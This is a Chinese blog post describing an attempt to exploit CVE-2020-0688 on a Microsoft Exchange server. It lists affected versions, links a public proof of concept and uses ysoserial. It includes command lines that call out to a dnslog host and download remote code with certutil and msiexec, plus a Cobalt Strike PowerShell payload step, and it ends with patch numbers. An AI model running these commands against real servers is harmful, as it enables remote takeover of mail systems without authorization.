Hello,各位小伙伴大家好~
这里是你们的小编Monster~
今天来记录一次Outlook漏洞cve-2020-0688的利用。
虽然最后没拿到shell,但是还是来看看其中用到的一些方法吧~
Part.1
漏洞说明
漏洞效果
CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执行代码,从而接管整个Exchange服务器。
该漏洞执行的前提,是需要先获取到一个普通用户的用户名、口令。
影响范围
影响所有版本的Exchang Server:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
Part.2
漏洞利用
漏洞利用
首先目标系统是Outlook登录页:
通过查看网页源代码,可以找到版本号15.0.1497:
通过以下链接可以查询到对应的版本:
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
利用该漏洞需要登陆普通用户,在https://ip/ecp/default.aspx页面下获取generator和viewstateuserkey这两个值。
可以通过POC自动读取并利用,POC地址:
https://github.com/Jumbo-WJB/CVE-2020-0688
//也可以公众号回复CVE-2020-0688下载~
首先尝试执行ping dnslog:
python cve-2020-0688.py -s https://ip/owa/-u user -p pass -c "ping test.ph4nxq.dnslog.cn"
利用ysoserial将上面的结果反序列化处理:
输入ysoserial获取的payload,得到exp并执行:
//执行后服务器会返回500
Dnslog显示命令执行成功:
通过cs生成powershell payload:
并将payload进行base64加密处理:
http://www.jackson-t.ca/runtime-exec-payloads.html
用同样的方法将payload反序列化处理:
输入获取的payload并执行:
//查看cs并未上线,weblog也没有访问记录
尝试certutil访问dnslog:
cmd /c certutil-urlcache -split -f http://url
//也可以用msiexec命令:msiexec /q /i http://url
Dnslog未接受到请求:
//尝试到此,判断为漏洞存在,但可能被杀软拦截或者TCP不出网。
关于dnslog的一些测试
顺带测试了一下ping dnslog,和http访问dnslog有什么区别。
(1)ping
通过ping方式访问,会接收到dns报文:
(2)http://dnslog
通过http://dnslog方式访问,会使用dns和http(tcp)两种协议:
但如果存在dns缓存,则只会发送http报文:
完毕~
修复建议
通过以下补丁进行升级:
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989
Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988
Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987
Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987
Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987
Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987
Part.3
结语
以上就是今天的全部内容了~
欢迎关注我的个人微信公众号。
Peace !
你“在看”我吗?